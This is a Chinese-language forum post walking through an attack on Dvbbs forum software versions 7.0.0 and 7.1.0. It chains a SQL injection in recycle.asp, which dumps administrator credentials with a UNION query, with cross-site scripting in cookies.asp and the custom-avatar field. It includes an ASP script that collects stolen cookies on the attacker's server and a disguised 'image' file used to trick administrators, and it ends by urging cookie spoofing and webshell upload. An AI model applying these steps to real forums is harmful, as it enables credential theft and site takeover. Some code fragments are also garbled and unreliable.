首先申请:我的积分不够,无法在【安全评估/入侵检测/解决方案】发帖,请相关版主予以转发
夏日动网漏洞不断
正因为动网论坛拥有超过50%的中国站长用户,成为中国论坛领域事实上的标准,所以自去年动网论坛7.0.0 SP2以下所有版本发现上传漏洞后,国内网络被搞的鸡犬不宁。各大论坛的管理员,网管也愈来愈重视动网官方的动态,所有论坛程序基本都升级到7.0.0 SP2,或者是最新的7.1.0了,是不是这些版本就足够安全,足够强壮了呢?当然并非如此,自从本人发现最新版本中的admin_postings.asp文件存在注入漏洞后,官方论坛丝毫没有打补丁的意思。可能他们以为漏洞利用起来比较困难,需要前台管理员权限,但是如果我们再结合传说中的温柔杀手:跨站脚本攻击。就会大大提高我们提升权限的几率。更令人兴奋的是结合recycle.asp的注入漏洞,对Access版本也显奇效。无论是7.0.0的还是7.1.0的都受影响。首先说说这个漏洞吧。
打开recycle.asp,
<%
Rem 修改记录:2004-5-3 行396 Dvbbs.YangZheng
Server.s criptTimeOut=999999
dim bBoardEmpty
dim totalrec
dim n,RowCount
dim p
dim currentpage,page_count,Pcount
dim tablename
Dvbbs.stats="论坛回收站"
Dvbbs.nav()
If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=
您没有权限浏览本页。&action=OtherErr"
Dvbbs.ShowErr()
Dvbbs.Head_var 2,0,"",""
Dim EmotPath
EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)
Dim dv_ubb,abgcolor
Set dv_ubb=new Dvbbs_UbbCode
If Request("reaction")="manage" Then
dim topicid
Dim trs,UpdateBoardID
Dim fixid
Manage_Main()
ElseIf Request("reaction")="view" Then
View()
Else
Main()
End If
Call Dvbbs.activeonline()
call Dvbbs.footer()
‘大家再看看调用的Manage_Main函数和View函数,就会发现如下代码:
If request("tablename")="dv_topic" Then
tablename="dv_topic"
ElseIf InStr(request("tablename"),"bbs")>0 Then
tablename=Trim(request("tablename"))
If Len(tablename)>8 Then
Response.redirect "showerr.asp?ErrCodes=
错误的系统参数!&action=OtherErr"
End If
Else
Response.redirect "showerr.asp?ErrCodes=
错误的系统参数!&action=OtherErr"
End If
显然是对tablename过滤了,长度不能超过8,虽然能注入,但是实在没有价值可言,没关系,我们再看看如果我们提交的action为空,程序就会执行main函数,这个函数调用的是AnnounceList1,我们再找到这个函数看看把:
Sub AnnounceList1()
‘省略了无用代码,免得跟上次一样wtf又说偶骗稿费咯……
If instr(lcase(request("tablename")),"bbs")>0 then
SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"';","")&" where boardid=444 and not parentid=0 order by announceid desc"
tablename=request("tablename")
Else
SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"
tablename="dv_topic"
End If
set rs=server.createobject("adodb.recordset")
If Not IsObject(Conn) Then ConnectionDatabase
rs.open SQL,conn,1,1
if rs.bof and rs.eof then
';论坛无内容
call showEmptyBoard1()
else
rs.PageSize = cint(Dvbbs.Forum_Setting(11))
rs.AbsolutePage=currentpage
page_count=0
totalrec=rs.recordcount
call showPageList1()
end if
End sub
哈哈,显然这里没有对tablename限制长度,verygood,不过遗憾的是注入只能实现只读的查询,不能修改数据库内容,没关系,我们可以利用union查询把dv_log中记录的后台管理账号和密码一次性查询出来,这个还不够爽啊,通杀SQL版本和Access版本。
构造以下查询语句:
http://127.0.0.1/recycle.......,1,1,1,1,1%20from%20dv_bbs1
注意到l_id了吗,我们查询的时候通过递增l_id的值来遍历l_content字段中的内容,如果l_id选取的合适,就能直接得到明文账号和密码。
看到了吗,以上显示的后台账号是llikz,密码是111111,前台管理员账号是admin。得到后台管理权限,上传WebShell绝非是难事了。
说了这么多,别太兴奋了,忘记了只有前台管理员才有权限对回收站进行操作。不过比起admin_postings.asp的注入不仅实现起来比较容易。而且能对Access版本进行攻击。下面我们就为获得前台管理员权限努力吧。只要能够实现这个条件,两个注入漏洞都能轻松实现了。
关于利用跨站脚本攻击获得管理员的cookie信息,方法多种多样,可跨站攻击的文件也有不少,比如众所周知的showerr.asp,不过这个文件的跨站漏洞在7.1.0版本中已经修补,但是还有其他很多文件存在此漏洞,就拿cookies.asp来说吧,打开以下连接:
http://127.0.0.1/cookies.asp?action=setlistmod&id=);alert(documents.cookie)
看看是不是你的cookie信息弹出来了。
我们先说一种简单的实现起来比较容易的方法(当然隐蔽性不是很高),首先建立一个asp文件用于接收cookie信息,文件内容如下:
<%
Set cookie=Server.CreateObject("Adodb.Stream")
cookie.Open
cookie.Type=2
cookie.Charset="gb2312"
cookie.WriteText(request("cookie"))
cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt"))
cookie.Close
set cookie=Nothing
%>
保存为save.asp放到支持asp的空间。然后再建立文本文件,内容如下:
http://127.0.0.1/save.asp请修改为自己的接收cookie信息的文件,http://127.0.0.1/showerr.asp请修改为你要攻击的论坛的地址。
将以上代码保存为up.gif。在论坛中选择发表新话题,将这个文件上传上去得到上传文件的地址:http://127.0.0.1/UploadFile/2005711052664.gif,给管理员发送如下的短消息。
看看管理员收到什么了。
这样只要管理员点击上面的连接,他的cookie信息就发到自己的空间咯,不信去看看啊。如
接下来我们改进以下这种方法,如果将管理员的cookie信息做为短消息发到自己的收信箱里岂不更爽,将原来的up.gif内容修改一下,改为以下的内容:
这样就能够绕过checkpost函数以post方式将管理员cookie信息发送到自己信箱了,注意这个修改为你自己注册的账号来接收短消息。这样只要欺骗管理员打开连接,就会收到类似如下的短信息。
以上的方法都有个缺点:当管理员在打开假图片的时候,通过浏览器状态栏显示的状态信息很容易被识破。那我们就利用动网论坛自定义头像功能实现跨站攻击。
选择控制面板,基本资料修改。在自定义头像地址中写入"><"再查看一下自己的个人资料。
哈哈,成功了,不过在自定义头像地址过滤了Java脚本,所以只能嵌入iframe框架。
不过在这里嵌入以上方法上传的脚本图片就能用来获取cookie信息了。比如我嵌入的是test.gif,文件内容是:
alert(documents.cookie)
再查看一下自己的个人资料。
这样只要欺骗管理员访问自己的个人资料,就神不知鬼不觉得到访问者的cookie信息了。通过cookie欺骗得到前台管理权限,再用recycle.asp注入漏洞即可轻松获得后台管理权限。只要大家灵活运用以上方法,摧毁不倒的动网论坛绝非难事。